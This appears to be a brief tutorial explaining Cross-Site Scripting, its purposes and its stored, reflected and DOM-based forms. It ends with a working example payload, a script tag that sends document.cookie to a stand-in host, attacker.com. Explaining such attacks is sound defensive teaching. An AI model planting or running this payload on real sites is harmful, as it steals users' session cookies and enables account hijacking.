Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a client-side code injection attack where an attacker can execute malicious scripts in a victim's browser. XSS occurs when a web application includes untrusted data in a web page without proper validation or escaping.

XSS attacks can be used to:

• Steal session cookies and hijack user accounts
• Redirect users to malicious websites
• Deface web pages
• Log keystrokes and capture sensitive data
• Spread malware

There are three main types of XSS:

• Stored XSS: Malicious script is permanently stored on the target server (in a database, comment field, etc.)
• Reflected XSS: Malicious script is embedded in a URL and reflected off the web server in error messages or search results
• DOM-based XSS: The vulnerability exists in client-side JavaScript rather than server-side code

A comment form that displays user input without escaping:

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

When other users view the page with this comment, their session cookies are sent to the attacker's server.